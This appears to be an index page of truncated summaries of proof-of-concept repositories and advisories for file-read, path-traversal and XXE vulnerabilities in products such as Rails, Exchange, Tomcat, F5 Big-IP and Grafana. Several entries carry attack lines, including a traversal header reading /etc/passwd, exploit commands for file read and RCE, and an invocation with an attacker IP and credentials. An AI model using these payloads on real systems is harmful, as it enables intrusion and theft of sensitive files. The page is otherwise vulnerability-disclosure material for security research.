CVE-2019-5418

CVE-2019-5418 Caso de prueba Ejecutar : $ rails s PoC : Accept: ../../../../../../../../etc/passwd Petición 1 - GET /shitblock HTTP/1.1 Host: REDACTED:3000 User-Agent: Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:65.0 Gecko/20100101 Firefox/65.0 Accept: diyarbakirguzelbaglardelalelorke ------ CATC...

CVE-2026-85706-PoC-Toolkit

CVE‑2026‑85706 – GitLab Unauthenticated File Read Toolkit ⚠️ ETHICAL USE ONLY – AUTHORIZED SECURITY TESTING This repository provides tools for authorized security professionals, blue teams, and penetration testers only. Unauthorized access to computer systems is illegal under CFAA US, Computer...

CVE-2026-45504

CVE-2026-45504 Exchange File Read CVE-2026-45504 Exchange File Read Research Blog python3 CVE-2026-45504.py --attacker-ip 192.168.2.238 --attacker-port 9020 --creds [email protected] --password Hawktrace1 --target https://mail.exchange.local --target-file...

CVE-2022-44268

CVE-2022-44268 Este repositorio contiene una Prueba de Concepto POC para una vulnerabilidad en ImageMagick v. 7.1.0-49, una biblioteca de manipulación de imágenes de código abierto ampliamente utilizada. La vulnerabilidad permite a un atacante incrustar el contenido de un archivo arbitrario en un...

tomcatfileread

CVE-2020-1938 Tomcat File Read / File Include Ghostcat — python3 CVE-2020-1938 CNVD-2020-10487 Tomcat AJP protocol file read / file include vulnerability exploit POC python3 port. Original python2 author: ydhcui — https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi Usage python3...

CVE-2019-8389

CVE-2019-8389 - Lectura arbitraria de archivos en Musicloud para iOS v1.6 CVE-2019-8389 Código de exploit para explotar una vulnerabilidad de lectura local de archivos en la aplicación Musicloud v1.6 para iOS Descripción: Se identificó una vulnerabilidad de lectura de archivos en la función de...

GO-2026-6577 Nuclei: Local File Read via MySQL Client Sandbox Bypass in github.com/projectdiscovery/nuclei

Nuclei: Local File Read via MySQL Client Sandbox Bypass in github.com/projectdiscovery/nuclei...

CVE-2020-5902

CVE-2020-5902 Python script to exploit F5 Big-IP CVE-2020-5902 Examples Exploit local file read: python3 CVE-2020-5902.py -t example.com -x lfr -f /etc/passwd Exploit RCE: python3 CVE-2020-5902.py -t example.com -x rce -a list+auth+user+admin...

CVE-2026-77578

CVE-2026-77578 — Xibo CMS Arbitrary Local File Read Overview CVE-2026-77578 is an authenticated Arbitrary Local File Read vulnerability in Xibo CMS. An authenticated user with Admin privileges or Module Templates access can import a crafted XML template containing a path-based asset with a...

CVE-2021-43798

CVE-2021-43798 by Privacy Hunter Affected versions: Grafana 8.0.0-beta1 to 8.3.0 patched versions excluded Vulnerability type: Directory Traversal Severity: Critical Platform: Grafana open-source monitoring and observability platform ⚠️ Vulnerability details Directory traversal can be performed in...

CVE-2026-103884

A flaw exists in the X.509 client certificate authenticator of Keycloak . When CRL Distribution Point checking is enabled, the server fails to properly validate file paths provided within a client certificate. This path traversal vulnerability allows an attacker to provide a specially crafted cer...

MCP Atlassian: Arbitrary local file READ via unconstrained file_path in upload_attachment (Confluence + Jira)

SummaryThis is an arbitrary local file READ vulnerability on the Confluence and Jira uploadattachment tool paths. It's the symmetric counterpart of the file-write vulnerability you patched as CVE-2026-27825. The write direction was fixed; the read direction was left open.Reporter: Sean...

MCP Atlassian: Unauthenticated arbitrary local file read via upload_attachment file_path, chained with missing auth on streamable-http transport

SummaryIn the documented multi-user HTTP deployment --transport streamable-http with global operator Atlassian credentials, sooperset/mcp-atlassian exposes all tools to unauthenticated network clients, and the uploadattachment tool reads an attacker-supplied filepath with no path validation...

poc-yaws-dav-xxe

XXE in Yaws web server CVE-2020-24379 Proof of concept Build test image: docker build -t vulnbe/yaws-pocs:xxe-dav-mod -f Dockerfile . and/or Run container docker run --rm -d -i -p 127.0.0.1:8000:8080 vulnbe/yaws-pocs:xxe-dav-mod Then run: curl -i -s -k -X LOCK http://localhost:8000/ -H 'Timeout:...

php_filter_chains_oracle_exploit

PHP 필터 체인: 오류 기반 오라클로부터 파일 읽기 PHP 필터 체인의 오류 기반 오라클로 인해 발생하는 파일 읽기에 영향을 받는 파라미터를 공격하기 위한 CLI입니다. 이 도구는 file, hashfile, filegetcontents, copy와 같은 취약한 함수에 전달될 때 로컬 파일의 내용을 유출하는 데 사용할 수 있으며, 서버가 파일 내용을 반환하지 않더라도 가능합니다! 파일 내용에 대해 어떤 작업이 수행되고 전체 URI가 통제된다면, 해당 함수는 php://filter 래퍼의 영향을 받을 수 있으므로 이 도구로 공...

CVE-2016-10956-mail-masta

Mail Masta - Lectura Local de Archivos CVE-2016-10956 El plugin mail-masta 1.0 para WordPress tiene lectura de archivos local en countofsend.php y csvexport.php. Uso $ ./CVE-2016-10956mailmasta.py -h + Mail Masta - Local File Read CVE-2016-10956 usage: CVE-2016-10956mailmasta.py -h -v -s -t...

mpDNS

mpDNS también conocido como servidor DNS multipropósito Servidor DNS simple, configurable con múltiples características útiles Python 3 names.db - contiene todos los registros personalizados ver ejemplos Comodines simples como .example.com Captura solicitudes DNS unicode Acciones personalizadas...

EUVD-2026-90762

Improper Restriction of XML External Entity Reference in the XSLT support extension camel-quarkus-support-xalan in Apache Camel Quarkus from 3.2.0 before 3.33.3 and from 3.34.0 before 3.40.0 on all platforms allows an attacker who supplies the XML document being transformed to read local files or...

CVE-2024-28995

CVE-2024-28995 Path Traversal Automatizado y Lectura de Archivos Locales Características Detección de Versión : Recupera la versión de Serv-U desde la cabecera del servidor. Comprobación de Vulnerabilidad : Compara la versión detectada con una versión vulnerable conocida 15.4.2 o inferior. Prueba...

CVE-2024-28752

Apache CXF CVE-2024-28752 Entorno de reproducción Anuncio de vulnerabilidad: https://cxf.apache.org/security-advisories.data/CVE-2024-28752.txt Inicio del entorno samples/javafirstjaxwsfactorybean IDEA Inicie el servicio webservice a través de ServerStarter.java Compilación Usar JDK8 mvn clean...